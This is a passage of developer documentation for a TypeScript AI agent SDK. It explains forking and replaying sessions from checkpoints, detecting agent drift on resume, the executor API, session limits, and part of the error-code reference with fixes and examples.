  older than its cutoff.

## Fork and replay

`agent.fork(sessionId, { fromStep, patch? })` starts a new session from a step
of another session's history: "what if the tool had returned something else
at step 1?" It takes the newest history entry of `fromStep`, applies `patch`,
saves the result as the `'in-progress'` checkpoint of the new session over
`store.checkpoints` and returns `{ sessionId, step, checkpoint }`. Resume the
fork like any unfinished run with `agent.resume(fork.sessionId)`:

```ts theme={null}
import { createAgent, compareTrajectories, memoryStore } from '@lousho/build-ai-agent';

const store = memoryStore();
const assistant = createAgent({ provider, store });
await assistant.send('Plan my trip', { sessionId: 'trip' });

const fork = await assistant.fork('trip', { fromStep: 1, patch: { appendInput: 'It will rain, plan for that.' } });
// fork.sessionId is 'trip.fork-1'; the 'trip' checkpoint and history are unchanged.
const result = await assistant.resume(fork.sessionId);

const original = await store.checkpoints?.load('trip');
const replayed = await store.checkpoints?.load(fork.sessionId);
if (original && replayed) {
  const { divergedAt, a, b, drift } = compareTrajectories(original, replayed);
  console.log(divergedAt, a.length, b.length, drift); // 2, then each run's steps and the tool-call diff
}
```

`AgentExecutor.fork()` is the same operation on the executor; see the
[advanced section](#advanced-the-executor-api).

`agent.fork()` forks one run by its checkpoint history. To branch a
multi-turn `agent.session()` conversation, use `session.history()` and
`session.fork({ fromStep })`, which work from the session's saved transcript
with any store (finished turns keep no checkpoint history); see
[Forking a session](/sessions#forking-a-session).

* `patch` is applied in this order: `messages(messages)` rewrites the
  transcript; `businessState` replaces it; `toolResult: { toolCallId, result }`
  replaces that call's result in place (same position, call id and tool name,
  so the transcript stays valid for every provider), or records it when the
  call has no result yet; `appendInput` queues a user message, which is sent
  after any tool calls still pending.
* The fork keeps the source checkpoint's step count and usage, so the rest of
  the `maxSteps` budget applies to it. Recorded tool results are not re-run;
  tool calls without a result run first, as on any resume (so a fork of an
  `'awaiting-approval'` entry goes through `needsApproval` again; the old
  `approvalId` is not carried over).
* `newSessionId` names the fork; the default is `<sessionId>.fork-<n>`, the
  first `n` with no checkpoint. A `newSessionId` that already has a checkpoint
  is refused.
* A step the history does not have (the session is unknown, the step never
  ran, or it was dropped past `historyLimit`) throws an `SDKError` with code
  [`LOUSHO_CHECKPOINT_NOT_FOUND`](/errors#lousho_checkpoint_not_found),
  whose message lists the steps that are kept. A store without `history()`
  cannot fork (`ConfigurationError`).
* `compareTrajectories(a, b)` takes two checkpoints or two transcripts and
  returns each run's steps (one per assistant turn: its text and tool calls
  with their results), `divergedAt` (the first step that differs, tool call
  ids aside) and `drift`, the tool-order, argument, step-count and
  finish-reason differences in the same shape as `lousho eval --drift`.

## Resuming with a changed agent

Every checkpoint and approval snapshot carries an **agent fingerprint**: the
model id, each tool's name with a hash of its JSON input schema, and a hash of
the system instructions (plus a short SHA-256 over all of them, computed with
Web Crypto). Functions and other values that cannot be serialized (a tool's
`execute`, hooks, callbacks) are not part of it, so changing only code never
counts as a change. The parts are stored one by one so a mismatch can say what
changed.

When a run is resumed (`agent.resume(id)`, `session.resume()`, a later
`execute()` on an unfinished `sessionId`, `agent.approvals.resolve()` and the
streamed forms), the resuming agent's fingerprint is compared with the saved
one, before any model call or tool runs. `onAgentDrift` on `createAgent()` (and
on `AgentExecutor.execute()` / the `resumeAfterApproval()` export) decides what a
difference does:

| `onAgentDrift` | On a different model, tools or instructions |
| - | - |
| `'warn'` (default) | A `console.warn` naming what changed and an `agent.drift` event (`model`, `toolsAdded`, `toolsRemoved`, `toolsChanged`, `instructions`); the run continues. |
| `'error'` | Rejects with [`LOUSHO_AGENT_DRIFT`](/errors#lousho_agent_drift). The checkpoint is left as it was; an approval is put back, so the right agent can still resolve it. |
| `'ignore'` | Nothing. |

A pending tool call whose tool no longer exists (the model's last turn called
it and it has no result yet, or the human approved it) always rejects with
[`LOUSHO_RESUME_TOOL_MISSING`](/errors#lousho_resume_tool_missing),
whatever the option.

```ts theme={null}
import { createAgent, memoryStore } from '@lousho/build-ai-agent';
import type { LLMProvider } from '@lousho/build-ai-agent';

declare const provider: LLMProvider;

// After a deploy that renamed a tool or changed the model, refuse to continue old runs.
const agent = createAgent({ provider, store: memoryStore(), onAgentDrift: 'error' });
const result = await agent.resume('job-1');
```

Notes:

* Checkpoints and snapshots written before this existed have no fingerprint
  and resume exactly as before, with no warning.
* A run of a [dynamic agent](/api-overview#dynamic-config) saves the `ctx`
  and the model it chose in the checkpoint (`runConfig`), and a crash resume
  uses them: the saved model, and tools and instructions resolved again with
  the saved `ctx` (before, it resolved with `input: []` and no `metadata`).
* The fingerprint covers the agent's own tools, model and instructions, not
  the tools that `subagents` and `skills` add. A sub-agent that pauses for an
  approval has its own fingerprint in its nested snapshot. On resume, each
  paused level (the lead, the sub-agent, and a sub-agent of that sub-agent) is
  compared with its current definition from `subagents`, under the lead's
  `onAgentDrift`. With `'warn'` the `agent.drift` event carries `subagent`.
  When a sub-agent's check rejects, the lead's approval and its
  `'awaiting-approval'` checkpoint are put back, so fixing the sub-agent and
  resolving again works. A [remote sub-agent](/sub-agents#remote-sub-agents)
  is not compared: its pause is kept on the remote.
* A run resumed after an approval continues with the instructions it started
  with (they are in its transcript), so its later checkpoints record those.

## Advanced: the executor API

`createAgent()` is built on `AgentExecutor`, which stays available when you
want to own the wiring: the provider, the `ToolRegistry`, the stores and the
resume calls are all explicit (see [The executor API](/executor-api)). Each snippet below says which `createAgent()`
call it corresponds to.

`AgentExecutor.execute()` with a `sessionId` and a `checkpointStore` is
`agent.send(message, { sessionId })`:

```ts theme={null}
import { AgentExecutor } from '@lousho/build-ai-agent/executor';
import { LocalStorageCheckpointStore } from '@lousho/build-ai-agent/utils';

const checkpoints = new LocalStorageCheckpointStore(storage);

// First message of a conversation.
await AgentExecutor.execute({ agent, input: 'Book a table for 2 tonight', provider, sessionId: 'chat-42', checkpointStore: checkpoints });

// Later - same process or another one - the next message of the same conversation.
await AgentExecutor.execute({ agent, input: 'Make it 3 people', provider, sessionId: 'chat-42', checkpointStore: checkpoints });
```

It throws `SessionAwaitingApprovalError` on a paused session, as `send()` does:

```ts theme={null}
import { AgentExecutor } from '@lousho/build-ai-agent/executor';
import { SessionAwaitingApprovalError, memoryStore } from '@lousho/build-ai-agent';

const { checkpoints } = memoryStore();

try {
  await AgentExecutor.execute({ agent, input: 'Are you done?', provider, sessionId: 'chat-42', checkpointStore: checkpoints });
} catch (error) {
  if (error instanceof SessionAwaitingApprovalError) {
    console.log(`Waiting on approval ${error.approvalId} - resolve it with resumeAfterApproval() first.`);
  }
}
```

The exported `resumeAfterApproval()` function is what
`agent.approvals.resolve()` calls:

```ts theme={null}
import { AgentExecutor, resumeAfterApproval } from '@lousho/build-ai-agent/executor';

const paused = await AgentExecutor.execute({
  agent, input, provider, toolRegistry, approvalStore, sessionId: 'chat-42', checkpointStore,
});

if (paused.finishReason === 'awaiting-approval') {
  // ...a human decides, possibly days later, in another process...
  const result = await resumeAfterApproval(
    { id: paused.approvalId!, approved: true },
    approvalStore,
    toolRegistry,
    provider,
    {},
    checkpointStore, // clears the 'awaiting-approval' mark and keeps checkpointing
  );
  console.log(result.finishReason); // 'stop', or 'awaiting-approval' again for the next gated call
}
```

`AgentExecutor.fork()` is `agent.fork()`; `execute()` with `input: []` on the
fork's `sessionId` is `agent.resume(fork.sessionId)`:

```ts theme={null}
import { AgentExecutor } from '@lousho/build-ai-agent/executor';
import { compareTrajectories, memoryStore } from '@lousho/build-ai-agent';

const { checkpoints } = memoryStore();
await AgentExecutor.execute({ agent, provider, toolRegistry, input: 'Plan my trip', sessionId: 'trip', checkpointStore: checkpoints });

const fork = await AgentExecutor.fork({
  sessionId: 'trip',
  fromStep: 1,
  checkpointStore: checkpoints,
  patch: { toolResult: { toolCallId: 'call_weather', result: { forecast: 'rain' } } },
});
// fork.sessionId is 'trip.fork-1'; the 'trip' checkpoint and history are unchanged.
await AgentExecutor.execute({ agent, provider, toolRegistry, input: [], sessionId: fork.sessionId, checkpointStore: checkpoints });

const original = await checkpoints.load('trip');
const replayed = await checkpoints.load(fork.sessionId);
if (original && replayed) {
  const { divergedAt, a, b, drift } = compareTrajectories(original, replayed);
  console.log(divergedAt, a.length, b.length, drift); // 1, then each run's steps and the tool-call diff
}
```

## Compatibility with stored data

* Checkpoints written before `status` existed are treated as
  `'in-progress'` (before this change, finished runs deleted their
  checkpoint, so only unfinished runs were ever stored).
* Sessions saved before a store kept a history have an empty history until
  their next save.
* Approval snapshots written before `remainingToolCalls` existed resume as
  they used to: the calls after the paused one do not run. Each of them gets
  an error result saying it was not run, so the transcript stays valid.

## Limits

* A `sessionId` identifies one logical conversation. Concurrent
  `agent.send()` / `agent.stream()` calls with the same `sessionId` on one
  agent store run one after another, in call order, in this process. Two
  processes (or two store objects over the same data) on the same id at the
  same time are refused with `LOUSHO_SESSION_BUSY` by the run lease (best
  effort on KV, see [Run leases](#run-leases)); with a custom store that has no
  leases, the last save wins.
* A run id (`sessionId` of `send()` / `stream()`) is 1-200 characters of
  letters, digits, `_`, `-` and `.`, not starting or ending with `.`, on every
  store, and may not end with `.turn-<n>` or `.paused` (a session's own
  checkpoint keys) or `.fire` (a schedule's fire claim). Anything else fails
  with `LOUSHO_SESSION_ID_INVALID`. A session id (`agent.session({ id })`, the
  routes' `sessionId`) has a stricter rule: 1-128 characters of
  `A-Za-z0-9_-`, with no `.`.
* If you call `resumeAfterApproval()` (the function behind
  `agent.approvals.resolve()`) without the `checkpointStore`, the session
  keeps its `'awaiting-approval'` mark and later `send()` (or `execute()`)
  calls keep throwing `SessionAwaitingApprovalError`; pass the store (or
  delete the checkpoint). `agent.approvals.resolve()` passes it for you.
* Workers KV is eventually consistent across locations - see
  [Deployment](/deployment) for the caveat.
* The spend of a sub-agent still running when its lead crashed is kept for
  in-process sub-agents only, as of its last model call or tool result: a
  [remote sub-agent](/sub-agents#remote-sub-agents) reports its usage
  when it ends, so an interrupted one's calls are not counted, and a
  background sub-agent still running after the lead paused or finished does
  not write the lead's checkpoint. Their limits are checked against a
  sub-agent's usage only once it returns.


# Errors
Source: https://lousho.com/errors

Nearly every error the SDK throws on purpose is an SDKError (or a subclass such as ConfigurationError, ValidationError or MissingPeerDependencyError) with:

* `code`: a stable string, `LOUSHO_<AREA>_<NAME>`. Branch on it, not on the
  message text, which may get clearer over time.
* `hint`: one sentence on how to fix it.
* `docs`: a link to the code's section on this page.

The message ends with the same information on its own line, so an uncaught
error tells you what to do:

```text theme={null}
ConfigurationError: createAgent: no model configured. Do one of the following: (1) pass a model: ...
[LOUSHO_CONFIG_MISSING_PROVIDER] Pass a model string such as createAgent({ model: 'openai/gpt-4.1-mini' }), a provider instance, or set LOUSHO_MODEL or a provider API key. (https://lousho.com/errors#lousho_config_missing_provider)
```

A run that rejects (`send()`, `stream()`'s `result`, a session turn,
`AgentExecutor.execute()`) puts what it had spent on the error as
`error.usage`, a `RunUsage` like `result.usage` (its sub-agents included), so
a failed run's tokens and cost are not lost. It is set on any error the run
rejects with - an `SDKError`, a `PropagatingToolError` or your own - unless the
error has a `usage` property of its own, and it is not enumerable (logging or
serialising the error is unchanged). It is absent when the run failed before
it started.

```ts theme={null}
import { createAgent, type RunUsage } from '@lousho/build-ai-agent';

try {
  await createAgent({ provider }).send('Go');
} catch (error) {
  const spent = (error as { usage?: RunUsage }).usage;
  if (spent) console.error(`failed after ${spent.modelCalls} model calls, $${spent.costUsd ?? '?'}`);
  throw error;
}
```

`error.detail` is the message without that line. Tool and provider errors
(`ToolExecutionError`, `LLMProviderError`, `TimeoutError`, `RateLimitError`)
keep their message as it was, because the model sees it as a tool result or a
compacted provider error; their `toString()` still adds the line.

The exceptions are a few named `Error` subclasses with no `code`, kept plain
on purpose: `PropagatingToolError` and its subclasses (a tool throws one to
stop the run), `WorkspaceError` (a workspace operation refused or failed -
the model sees it as a tool error), `McpToolError` (a loaded MCP tool whose
server reports `isError`; also a tool error), `AuthError` (an
`@lousho/build-ai-agent/auth` entry rejects the request with its 401 or 403),
`CronExpressionError` (`parseCronExpression()`, which
`defineSchedule()` wraps as `LOUSHO_SCHEDULE_INVALID`) and
`DecryptionError` (`EncryptionUtils`, `DTOEncryptionFilter`).

`CassetteMismatchError` (`recordReplay` replay; see
[Testing](/testing#what-replay-checks)) is *not* one of these: it is an
`SDKError` with code [`LOUSHO_CASSETTE_INVALID`](#lousho_cassette_invalid)
and `.cassette` / `.callNumber` fields.

```ts theme={null}
import { createAgent, SDKError } from '@lousho/build-ai-agent';

try {
  await createAgent({ provider, instructions: 'Be brief.' }).send('hi');
} catch (error) {
  if (error instanceof SDKError && error.code === 'LOUSHO_SESSION_AWAITING_APPROVAL') {
    console.log(error.hint, error.docs);
  } else {
    throw error;
  }
}
```

`ERROR_CODES` (exported) maps every code to its hint. A test keeps it, the codes
used in the source and the sections below in sync. A second test fails when new
SDK code throws a literal `new Error(...)` instead of an `SDKError`; the few
sites left are internal and listed in `src/utils/plainErrors.test.ts` with the
reason for each.

To start from a symptom instead of a code, see [Troubleshooting](/troubleshooting).

Find a code by area:

| Area | Codes | When you meet them |
| - | - | - |
| [Configuration](#configuration) | [`LOUSHO_CONFIG_INVALID`](#lousho_config_invalid), [`LOUSHO_CONFIG_MISSING_PROVIDER`](#lousho_config_missing_provider), [`LOUSHO_CONFIG_MISSING_AGENT`](#lousho_config_missing_agent), [`LOUSHO_CONFIG_MISSING_INPUT`](#lousho_config_missing_input), [`LOUSHO_CONFIG_CONFLICTING_OPTIONS`](#lousho_config_conflicting_options), [`LOUSHO_CONFIG_MISSING_CHECKPOINT_STORE`](#lousho_config_missing_checkpoint_store), [`LOUSHO_CONFIG_RESOLVER_FAILED`](#lousho_config_resolver_failed) | A `createAgent()` or executor call that is missing or mixing options, or a config resolver that failed. |
| [Providers and peers](#providers-and-peers) | [`LOUSHO_PROVIDER_SPEC_INVALID`](#lousho_provider_spec_invalid), [`LOUSHO_PROVIDER_UNKNOWN`](#lousho_provider_unknown), [`LOUSHO_PROVIDER_MISSING_API_KEY`](#lousho_provider_missing_api_key), [`LOUSHO_PROVIDER_REQUEST_FAILED`](#lousho_provider_request_failed), [`LOUSHO_PROVIDER_RATE_LIMITED`](#lousho_provider_rate_limited), [`LOUSHO_PEER_MISSING`](#lousho_peer_missing), [`LOUSHO_HOSTED_TOOL_UNSUPPORTED`](#lousho_hosted_tool_unsupported), [`LOUSHO_UNSUPPORTED_CONTENT`](#lousho_unsupported_content) | Resolving a model string, a missing API key or peer package, a failed or rate-limited model request, a hosted tool the provider cannot run, a file the provider cannot send. |
| [Agent spec files](#agent-spec-files) | [`LOUSHO_SPEC_NOT_FOUND`](#lousho_spec_not_found), [`LOUSHO_SPEC_INVALID`](#lousho_spec_invalid), [`LOUSHO_SPEC_UNKNOWN_FIELD`](#lousho_spec_unknown_field), [`LOUSHO_SPEC_UNSUPPORTED_FORMAT`](#lousho_spec_unsupported_format) | Loading an `AgentSpec` file with `loadSpec()` or `specToAgent()`. |
| [Tools](#tools) | [`LOUSHO_TOOL_NOT_FOUND`](#lousho_tool_not_found), [`LOUSHO_TOOL_NEEDS_CREDENTIALS`](#lousho_tool_needs_credentials), [`LOUSHO_TOOL_EXECUTION_FAILED`](#lousho_tool_execution_failed), [`LOUSHO_TOOL_ARGS_INVALID`](#lousho_tool_args_invalid), [`LOUSHO_MCP_START_FAILED`](#lousho_mcp_start_failed), [`LOUSHO_MCP_CALL_FAILED`](#lousho_mcp_call_failed) | A tool the model called is unknown, needs credentials, threw, or got invalid arguments; a stdio MCP server did not start or a call to one failed. |
| [Approvals and sessions](#approvals-and-sessions) | [`LOUSHO_APPROVAL_STORE_MISSING`](#lousho_approval_store_missing), [`LOUSHO_APPROVAL_NOT_FOUND`](#lousho_approval_not_found), [`LOUSHO_APPROVAL_ORPHANED`](#lousho_approval_orphaned), [`LOUSHO_APPROVAL_CONFLICT`](#lousho_approval_conflict), [`LOUSHO_APPROVAL_FORBIDDEN`](#lousho_approval_forbidden), [`LOUSHO_APPROVAL_DECISION_INVALID`](#lousho_approval_decision_invalid), [`LOUSHO_APPROVAL_KIND_MISMATCH`](#lousho_approval_kind_mismatch), [`LOUSHO_SESSION_FORBIDDEN`](#lousho_session_forbidden), [`LOUSHO_SESSION_AWAITING_APPROVAL`](#lousho_session_awaiting_approval), [`LOUSHO_SESSION_ID_INVALID`](#lousho_session_id_invalid), [`LOUSHO_SESSION_FILE_CORRUPT`](#lousho_session_file_corrupt), [`LOUSHO_SESSION_BUSY`](#lousho_session_busy), [`LOUSHO_SESSION_TURN_PENDING`](#lousho_session_turn_pending), [`LOUSHO_SESSION_TURN_FAILED`](#lousho_session_turn_failed), [`LOUSHO_SESSION_STREAM_UNSUPPORTED`](#lousho_session_stream_unsupported), [`LOUSHO_SESSION_STEP_NOT_FOUND`](#lousho_session_step_not_found), [`LOUSHO_SESSION_EXISTS`](#lousho_session_exists), [`LOUSHO_SESSION_FORK_UNSUPPORTED`](#lousho_session_fork_unsupported), [`LOUSHO_REMOTE_UNAUTHORIZED`](#lousho_remote_unauthorized), [`LOUSHO_REMOTE_REQUEST_FAILED`](#lousho_remote_request_failed), [`LOUSHO_SUBAGENT_TASK_NOT_FOUND`](#lousho_subagent_task_not_found), [`LOUSHO_SUBAGENT_TASK_BUSY`](#lousho_subagent_task_busy), [`LOUSHO_CHECKPOINT_NOT_FOUND`](#lousho_checkpoint_not_found), [`LOUSHO_CHECKPOINT_CORRUPT`](#lousho_checkpoint_corrupt), [`LOUSHO_AGENT_DRIFT`](#lousho_agent_drift), [`LOUSHO_RESUME_TOOL_MISSING`](#lousho_resume_tool_missing), [`LOUSHO_RUN_ALREADY_ITERATED`](#lousho_run_already_iterated) | Approvals, sessions, checkpoints and resume, remote agents and sub-agent tasks. |
| [Schedules](#schedules) | [`LOUSHO_SCHEDULE_INVALID`](#lousho_schedule_invalid), [`LOUSHO_SCHEDULE_RUN_INCOMPLETE`](#lousho_schedule_run_incomplete) | Defining or loading a schedule, or a scheduled turn that did not finish. |
| [Channels](#channels) | [`LOUSHO_CHANNEL_INVALID`](#lousho_channel_invalid), [`LOUSHO_MEMORY_INVALID`](#lousho_memory_invalid) | Defining a channel or a memory slot. |
| [Registry](#registry) | [`LOUSHO_REGISTRY_UNREACHABLE`](#lousho_registry_unreachable), [`LOUSHO_REGISTRY_ITEM_NOT_FOUND`](#lousho_registry_item_not_found), [`LOUSHO_REGISTRY_INVALID`](#lousho_registry_invalid), [`LOUSHO_REGISTRY_UNSAFE_PATH`](#lousho_registry_unsafe_path), [`LOUSHO_REGISTRY_FILE_EXISTS`](#lousho_registry_file_exists), [`LOUSHO_REGISTRY_MANIFEST_MISMATCH`](#lousho_registry_manifest_mismatch) | `lousho add` fetching or copying from a registry. |
| [Sandbox](#sandbox) | [`LOUSHO_SANDBOX_EGRESS_UNSUPPORTED`](#lousho_sandbox_egress_unsupported), [`LOUSHO_SANDBOX_PATH_DENIED`](#lousho_sandbox_path_denied) | Asking a sandbox for something it cannot do on the current platform, or to write outside its root. |
| [Agent directories, skills and flows](#agent-directories-skills-and-flows) | [`LOUSHO_AGENT_DIR_INVALID`](#lousho_agent_dir_invalid), [`LOUSHO_SKILL_INVALID`](#lousho_skill_invalid), [`LOUSHO_FLOW_INVALID`](#lousho_flow_invalid), [`LOUSHO_FLOW_TOOL_DENIED`](#lousho_flow_tool_denied), [`LOUSHO_FLOW_CHANGED`](#lousho_flow_changed) | Loading an agent directory, a skill, or a flow definition, and gating a flow's tool calls. |
| [Storage, deployment and integrations](#storage-deployment-and-integrations) | [`LOUSHO_STORAGE_FAILED`](#lousho_storage_failed), [`LOUSHO_STORAGE_BUSY`](#lousho_storage_busy), [`LOUSHO_TRIGGER_INVALID`](#lousho_trigger_invalid), [`LOUSHO_CHANNEL_REQUEST_FAILED`](#lousho_channel_request_failed), [`LOUSHO_DEPLOY_FAILED`](#lousho_deploy_failed), [`LOUSHO_SERVER_UNPROTECTED`](#lousho_server_unprotected) | A storage backend, a trigger, a channel request, `lousho build` or the built server's start-up. |
| [Tests and evals](#tests-and-evals) | [`LOUSHO_EVALS_INVALID`](#lousho_evals_invalid), [`LOUSHO_TEST_FAILED`](#lousho_test_failed), [`LOUSHO_CASSETTE_INVALID`](#lousho_cassette_invalid) | `defineEval()`, `mockModel` and cassettes. |
| [General](#general) | [`LOUSHO_GENERIC_ERROR`](#lousho_generic_error), [`LOUSHO_AGENT_EXECUTION_FAILED`](#lousho_agent_execution_failed), [`LOUSHO_FLOW_EXECUTION_FAILED`](#lousho_flow_execution_failed), [`LOUSHO_VALIDATION_FAILED`](#lousho_validation_failed), [`LOUSHO_OPERATION_TIMEOUT`](#lousho_operation_timeout), [`LOUSHO_OUTPUT_INVALID`](#lousho_output_invalid), [`LOUSHO_BUDGET_EXCEEDED`](#lousho_budget_exceeded), [`LOUSHO_GUARDRAIL_TRIPPED`](#lousho_guardrail_tripped) | Run-level failures: a timeout, a budget or guardrail stop, invalid output, and the catch-all codes. |
| [Auth](#auth) | [`LOUSHO_AUTH_CONFIG_INVALID`](#lousho_auth_config_invalid) | A route auth helper (`jwt()`, `oidc()`, `basic()`, `apiToken()`) got options it cannot verify with. |
| [OAuth](#oauth) | [`LOUSHO_TOKEN_KEY_MISSING`](#lousho_token_key_missing), [`LOUSHO_TOKEN_DECRYPT_FAILED`](#lousho_token_decrypt_failed), [`LOUSHO_OAUTH_PRINCIPAL_REQUIRED`](#lousho_oauth_principal_required), [`LOUSHO_OAUTH_APP_SIGNIN_REQUIRED`](#lousho_oauth_app_signin_required), [`LOUSHO_OAUTH_STORE_MISSING`](#lousho_oauth_store_missing), [`LOUSHO_OAUTH_STATE_INVALID`](#lousho_oauth_state_invalid), [`LOUSHO_SIGNIN_PENDING`](#lousho_signin_pending), [`LOUSHO_OAUTH_TOKEN_EXCHANGE_FAILED`](#lousho_oauth_token_exchange_failed), [`LOUSHO_MCP_AUTH_REQUIRED`](#lousho_mcp_auth_required) | Storing or reading OAuth tokens in a file, SQLite or KV store, sign-in and token exchange for OAuth tools and MCP servers. |

## Configuration

### LOUSHO\_CONFIG\_INVALID

**Means:** an option or argument has a value the SDK cannot use. This is the
default code of `ConfigurationError`; `error.field` names the option when known.

**Fix:** change the option the message names.

**Example:** `withFallback([])` throws "withFallback() needs at least one provider".
`new NodeWorkspace({ root })` with a missing or non-directory root, a duplicate tool
name in a `ToolRegistry`, a bad `toolConcurrency`, `serveMcp()` without a `name`
and `lousho studio` without Agent Forge's files are the same code.

### LOUSHO\_CONFIG\_MISSING\_PROVIDER

**Means:** there is no model to run: `createAgent()` got no `model` or
`provider` and found nothing in the environment, or `AgentExecutor.execute()` /
`stream()` got no `provider`.

**Fix:** pass `model: 'openai/gpt-4.1-mini'` (any `<provider>/<model>`), pass a
`provider` instance, or set `LOUSHO_MODEL` or a provider key such as
`OPENAI_API_KEY`. The `vendor/` model prefix chooses the provider; with
OpenRouter use `openrouter/<vendor>/<model>` (e.g.
`openrouter/openai/gpt-4.1-mini`). See [Providers](/providers).

**Example:** `createAgent({ instructions: 'x' })` with no provider env var set.

### LOUSHO\_CONFIG\_MISSING\_AGENT

**Means:** `AgentExecutor.execute()` / `stream()` was called without `agent`.

**Fix:** pass the agent, e.g. `AgentBuilder.create().setName('a').build()`, or
use `createAgent()`, which needs no separate agent object.

**Example:** `AgentExecutor.execute({ input: 'hi', provider })`.

### LOUSHO\_CONFIG\_MISSING\_INPUT

**Means:** `AgentExecutor.execute()` / `stream()` was called without `input`.

**Fix:** pass the user message as a string or a `Message[]`.

**Example:** `AgentExecutor.execute({ agent, provider })`.

### LOUSHO\_CONFIG\_CONFLICTING\_OPTIONS

**Means:** two options that mean the same thing were both given.

**Fix:** keep one. For `createAgent()`, `prompt` is a deprecated alias of `instructions`:
keep `instructions`.

**Example:** `createAgent({ provider, instructions: 'a', prompt: 'b' })`.

### LOUSHO\_CONFIG\_MISSING\_CHECKPOINT\_STORE

**Means:** `send()` or `stream()` got a `sessionId`, which makes the run
durable, but the agent has no checkpoint store.

**Fix:** pass `createAgent({ store: memoryStore() })` (or a `SqliteStore`, or a
`store` with `checkpoints`), or drop `sessionId`. See
[Durable execution](/durable-execution).

**Example:** `createAgent({ provider }).send('hi', { sessionId: 'job-1' })`.

### LOUSHO\_CONFIG\_RESOLVER\_FAILED

**Means:** a `createAgent()` option given as a function of the run (`model`,
`instructions` / `prompt` or `tools`) threw while the run's config was being
resolved. The run never started: `send()` rejects, `stream()` ends with an
`error` event, and a session's transcript is left as it was. `error.field`
names the option and `error.cause` is what the function threw.

**Fix:** fix the function named in the message. See
[Dynamic config](/api-overview#dynamic-config).

**Example:** `createAgent({ provider, model: ({ metadata }) => plans[metadata.plan].model })` with an unknown plan.

## Providers and peers

### LOUSHO\_PROVIDER\_SPEC\_INVALID

**Means:** a model string is not `<provider>/<model>`.

**Fix:** write both parts, e.g. `'openai/gpt-4.1-mini'` or
`'anthropic/claude-sonnet-4-5'`.

**Example:** `resolveProvider('gpt-4o')`.

### LOUSHO\_PROVIDER\_UNKNOWN

**Means:** the provider prefix of a model string is not one the SDK knows. The
message lists the supported prefixes and suggests the closest one.

**Fix:** use a supported prefix (`openai`, `anthropic`, `google`, `openrouter`,
`ollama`, `pi`, `mock`), or pass your own `provider` instance. For a vendor with no
prefix, the message lists the other routes: `openrouter/<vendor>/<model>`,
`pi/<vendor>/<model>` when pi serves the vendor, or the vendor's AI SDK package
through `fromAiSdk()` (see [Providers](/providers#vendors-without-a-prefix)).

**Example:** `createAgent({ model: 'opnai/gpt-4o' })` says "Did you mean 'openai/gpt-4o'?".

### LOUSHO\_PROVIDER\_MISSING\_API\_KEY

**Means:** the provider's credential env var (`OPENAI_API_KEY`,
`ANTHROPIC_API_KEY`, `OPENROUTER_API_KEY`) is not set.

**Fix:** set it, or pass a configured provider instance.

**Example:** `createAgent({ model: 'openai/gpt-4.1-mini' })` without `OPENAI_API_KEY`.

### LOUSHO\_PROVIDER\_REQUEST\_FAILED

**Means:** a model call failed (`LLMProviderError`, and
`CompactedLLMProviderError`, whose `compacted.category` says why:
`timeout`, `context-length-exceeded`, `quota-exceeded`, `auth-failure`,
`unknown`; a `rate-limit` failure has its own code,
[`LOUSHO_PROVIDER_RATE_LIMITED`](#lousho_provider_rate_limited)).
An OpenAI-compatible response that reports a failure inside a 200 (OpenRouter's
`finish_reason: "error"` or an `error` chunk mid-stream) fails as a retryable
502 instead of returning the cut-off text.
A context overflow is `context-length-exceeded` (not retryable) whatever the
status, including llama.cpp / LM Studio's "exceeds the available context size"
and "Context size has been exceeded", and whether it arrives from the request
or as a stream error. A connection failure is `timeout` and names the cause,
e.g. `connection refused (ECONNREFUSED) at http://localhost:1234/v1/responses -
is the server running?`. When the provider's error body could not be parsed
(the message is only `Bad Request`), a short snippet of the body is appended.

**Fix:** for `quota-exceeded` (OpenAI's `insufficient_quota` 429, a 402 such as
OpenRouter's "Insufficient credits"; not retryable, retrying cannot add credit),
top up the account or fall back to another provider; for `auth-failure`, fix the API key; for `context-length-exceeded`,
shorten the conversation (see [Context compaction](/compaction)); for
transient failures, use `withRetry()` / `fallbackModels`
(see [Providers](/providers)).

**Example:** a 401 from the provider with a revoked key.

### LOUSHO\_PROVIDER\_RATE\_LIMITED

**Means:** the provider throttled the caller: a model call failed with
`compacted.category: 'rate-limit'` (a `CompactedLLMProviderError`, still an
`LLMProviderError`), or a `RateLimitError`.

**Fix:** retry after `compacted.retryAfterMs` (`withRetry()` does this, up to
`backoff.maxMs`; a longer `Retry-After` fails at once with
`compacted.retryAfterMs` set), or send fewer requests.

**Example:** a 429 response (OpenAI's out-of-credit `insufficient_quota` 429
is `quota-exceeded`, so `LOUSHO_PROVIDER_REQUEST_FAILED`).

### LOUSHO\_PEER\_MISSING

**Means:** a feature needs an optional package that is not installed
(`MissingPeerDependencyError`, or a provider's SDK such as `@ai-sdk/openai`).

A model call whose provider package is missing fails with this code (a
`CompactedLLMProviderError` whose `cause` is the `MissingPeerDependencyError`),
not `LOUSHO_PROVIDER_REQUEST_FAILED`, and the server routes send its message
(the install command) to the client instead of the generic one.

**Fix:** run the `npm install` command in the message (also on
`error.installCommand`). See [Installation](/installation).

**Example:** `SubprocessSandbox` without `dockerode`:
`npm install dockerode@^5.0.1`.

### LOUSHO\_HOSTED\_TOOL\_UNSUPPORTED

**Means:** an agent has a hosted tool (`webSearch()`, `codeInterpreter()`,
`fileSearch()` or `hostedTool()`) that its provider cannot send: the provider
has no hosted tools (Ollama, a custom `LLMProvider` without
`supportsHostedTool()`), `ai` 4 is installed (hosted tools need `ai` 6 or 7), or
the installed provider package has no such tool. The message names the
provider, the tool and what would work.

**Fix:** run the tool on a provider and package pairing that supports it (see
[Hosted provider tools](/hosted-tools)), or leave it out of `tools` for
this provider.

**Example:** `createAgent({ model: 'ollama/llama3.2', tools: [webSearch()] })`
rejects its first `send()`.

### LOUSHO\_UNSUPPORTED\_CONTENT

**Means:** a user message has a file part (`{ type: 'file', data, mimeType }`)
that the provider cannot send: its media type is not one the provider sends on
your `ai` major (see [Multimodal input](/providers#multimodal-input)). The
call is rejected before anything is sent, so the model never answers without
the file. Under `withFallback()` (or `fallbackModels`) the next provider gets
the call. `agent.send()` and `agent.stream()` reject with this code.

**Fix:** send the file to a provider and `ai` major that takes its type (or
list the type in `fromAiSdk(model, { fileMediaTypes })`), put the file's text
in the message, or set the provider's `unsupportedFiles: 'text-note'` to send
`[file <name> (<type>) not sent]` in its place, as before.

**Example:** a PDF sent to `new OllamaProvider({ name: 'ollama' })`.

## Agent spec files

### LOUSHO\_SPEC\_NOT\_FOUND

**Means:** `loadSpec()` was given a path that does not exist.

**Fix:** check the path in the message - a typo, a wrong working directory,
or a spec that was never scaffolded.

